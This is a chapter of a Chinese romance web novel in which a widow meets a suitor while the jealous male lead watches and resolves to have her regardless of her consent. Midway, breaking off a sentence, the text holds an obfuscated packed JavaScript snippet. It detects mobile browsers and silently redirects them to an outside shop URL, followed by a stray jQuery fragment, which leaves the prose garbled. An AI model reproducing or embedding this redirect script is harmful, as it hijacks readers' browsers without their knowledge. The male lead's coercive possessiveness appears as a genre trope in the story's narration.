文趣网 > 其他小说 > 寡妇高嫁 > 10. 第 10 章
    “娘子,你要的荔枝膏水好了。”

    惊魂未定的秦念,扯出一抹笑,小心接过装有荔枝膏水的食盒,回身往胭脂铺走。

    有了方才那一出,他那样骄矜的将门虎子,想来不会再纠缠于她。

    忽略心里升起的些许空落,她深吸口气,倘若合适的话,亲事还是尽早定下来的好。

    纵使他不至于因此将她赶出府,但瞧见她这个给他难堪的人,心里总归不会痛快。

    她也会不自在。

    刚靠近胭脂铺,便见孟乐绮和两位表姑娘出来,三人的额头上都出了层薄汗,嘴角却挂着笑。

    三人脸上的笑意更深,脚下也快了几分。回到马车上,便迫不及待地各自斟了一碗。

    难得出来一趟,她们又一同去了趟糕点铺,拣了几样时下女娘们爱吃的点心,这才打道回府。

    回到客院,秦念翻出买来的那套揉蓝衫浅碧裙,端详片刻,便动手改了起来。

    成衣终归不如按尺寸裁的得体,好在她虽未将母亲出众的针线活全学来,修改件衣裳倒还难不倒她。

    忙活了两刻钟,夏衫料子薄,趁天色尚未全暗,她唤来翠柳,将改好的衣裳洗净,搭在杆子上晾了起来。

    夜色褪尽,晓光漫开,已至清晨。

    秦念换上那套改好的揉蓝衫浅碧裙,对着铜镜理了理鬓发,又抿了下唇上的口脂,依旧去主院给孟母请安。

    孟母搁下手中的茶盏,笑道:“这年轻娘子就该穿得鲜亮些,瞧这打扮,跟朵花儿似的。”

    秦丹欢在一旁接了话,打趣道:“看来念姐姐甚是中意那位沈公子,不然也不会特意换了新衣裳来。”

    秦念面上微微一热,垂下眼道:“七娘说笑了。新得了衣裳,总想穿出来试试。”

    孟母的目光在她脸上停了一息,缓缓开口:“时辰不早了,你先去赴约,别让人久等了。”

    言罢,她递给张妈妈一个眼色,张妈妈当即领命,引着秦念出了正堂。

    两人沿着回廊往前院走,晨光正好,从廊檐的缝隙里漏下来,碎金一般洒在青砖地上。

    来至前院,远远便瞧见水榭里站着个人影。

    张妈妈抬头望了眼天色,笑道:“沈公子对秦娘子还算上心。”

    秦念心里对沈砚的好感又加深了半分,嘴上却道:“他在大公子手下当差,大公子的吩咐,他自当上心。”

    “你倒是看得透彻。”张妈妈扫了眼水榭,“但上心与上心也有不同。”

    她停在离水榭一丈多的廊下:“秦娘子只管去,我就这儿候着。”

    这也是孟母的吩咐,先前两位表姑娘相看也是如此。

    秦念道了声谢,款步走向水榭。

    今日沈砚穿了件月白圆领袍,腰间束着一条靛蓝丝绦,比那日在池中摘莲蓬时多了几分正形。

    见她过来,他先是一怔,随即耳根又红了,局促地站起身来,拱手行了一礼:“秦娘子。”

    秦念回了一礼,在他对面坐下。

    丫鬟奉上茶来,又退了下去。

    两人隔着石桌相对,一时都有些拘谨。

    沈砚局促地开口:“听闻秦娘子家也是做生意的,不知做的是哪一行?”

    话一出口,他又有些懊恼,瞥见身侧放的木筒,连忙又道:“我家是做茶叶生意的。”

    他将木筒推到秦念跟前:“这是自家铺子里的茶,不知你喝不喝得惯?”

    那无措又满是期许的模样,惹得秦念勾起了唇角:“沈公子这般,莫不是将我当成去你家铺子采买的客人,生怕我对你家的茶不满意。”

    沈砚红着脸摇头,随即又点头,慌乱道:“我……秦娘子若喝得惯,我回头再送些。”

    “那若我喝不惯呢?”

    “我家铺子里还有其他茶,你可以都试上一试。要都喝不惯,我再去寻其他。”

    秦念嘴角的笑愈甚,桃花眼里盛着细碎的光,衬得整张面容愈发明媚动人。她也不再逗他,转而问起京城趣事来。

    沈砚没进殿前司前,常去瓦舍听曲儿看杂耍,听到见到的趣事自少不了,说起来也是头头是道,带着几分少年人的鲜活。

    秦念又被他逗笑了几回,整个人渐渐放松下来,多了几分慵懒。

    孟昭便是这时候来的,他站在水榭对面的假山后,不知沈砚说了什么,她微微侧过头,唇角翘起来,眼尾轻轻上挑,细碎柔光落满眉眼,明艳又柔和,却刺痛了他的双眼。

    她从未对他那样笑过,在他跟前,她只会惧怕、闪躲、疏离。

    他握紧了拳,指节掐进掌心,竟觉不出疼。

    当瞧见沈砚为她添茶,两人的距离又近了些时,一个念头在脑中忽然炸开。

    若她嫁了沈砚,亦或是旁的什么人,那双桃花眸便会盛满深情看向对方,任由对方握住她的腰,甚至在对方身下承欢。

    一想到此,孟昭胸口气血翻涌,嫉妒得双目泛红。

    什么狗屁成全?

    他成全了她,谁又来成全他?

    孟昭目光沉沉地落在那道揉蓝的身影上,他想要她,在回京的途中便想了。

    不论她愿不愿意,她都只能是他的。

    余光瞥见等在不远处的张妈妈,他生生克制住冲过去的念头,转身快步离开假山。

    水榭里的笑声被荷风送至耳边,他的唇绷成一道平直的线。

    终有一日,她也会在他跟前那样笑。

    昨日不欢而散后,他的确恼怒地想

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17676699|207500||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    斩断这份一厢情愿。可听说她今日要与沈砚相看,他还是不由自主赶了过来,亲眼看到她在别的男子跟前是何模样。

    沈砚么?他有的是法子让他知难而退。

    他离去约莫半盏茶的工夫,秦念便寻了个由头起身告辞,总不好让张妈妈久等。

    再者,该问的已问过,该看的也看了,若再待下去,反倒显得不够矜持。

    来到张妈妈身侧,她歉然道:“劳烦张妈妈久等了。”

    张妈妈笑着摆摆手:“不碍事,这都是娘子吩咐的。”她瞥见沈砚仍立在水榭边没有离去,不禁笑道:“看来沈公子对你满意得紧,这不,还舍不得走呢。”

    秦念羽睫微敛,没有接话。

    眼看日头越升越高,张妈妈也收了打趣的心思,引着她往回走,问道:“秦娘子心里是怎么想的?可要请大公子再细细打探一下沈公子家的情况?”

    秦念一怔,浅声道:“还是先等大公子那边的回话吧。”

    从今日的接触来看,沈砚确实如大公子所言,脑子活络,谈吐也不显稚嫩,还有几分少年人的纯情。

    家中关系也简单,上头一个大哥,下边一个妹妹。

    沈父的意思是,家里的生意都交由沈家大郎打理,只给沈砚捐了个差事,再分他两成干股。妹妹明年才及笄,亲事也等及笄后再议。

    唯独提及沈母时,沈砚有些吞吞吐吐,只说他外祖父是个举人,姨母嫁了个师爷,素日里对他们兄弟俩要求颇高,无奈他们兄弟二人都不是读书的料。

    可见沈母不是个好相与的,宁雍又注重礼法孝道……

    她轻晃了下脑袋,眼下想这些还过早,待沈砚回话后再想也不迟。

    张妈妈将秦念送回客院后,便折回主院,一五一十地跟孟母回禀。

    孟母修剪花枝的动作未停,语气漫不经心:“如此说来,只待沈家小子回话,这门亲事便算有了一撇。”

    “只是……”张妈妈顿了顿,“我瞧着秦娘子似乎有些顾虑。”

    孟母手上动作微顿。

    张妈妈随即小心改口:“她没提,想来心里已有了打算。”

    孟母放下剪刀,端起茶盏抿了一口:“可曾在附近见到三郎?”

    张妈妈垂下头,声音轻了些:“未曾。”

    孟母将剪子搁在桌上,指腹在手柄处轻轻摩挲了一下:“遣人暗中留意三郎在府里的动静。他若靠近客院,及时来禀。”三郎是从她肚子里出来的,他什么性子她最清,可不会这般轻易放下。

    更何况,这还是头一次他对一个女娘起了心思。

    越是如此,便越难收场。

    张妈妈不由得替秦念捏了把冷汗,恭敬应下,退出了屋。

    ……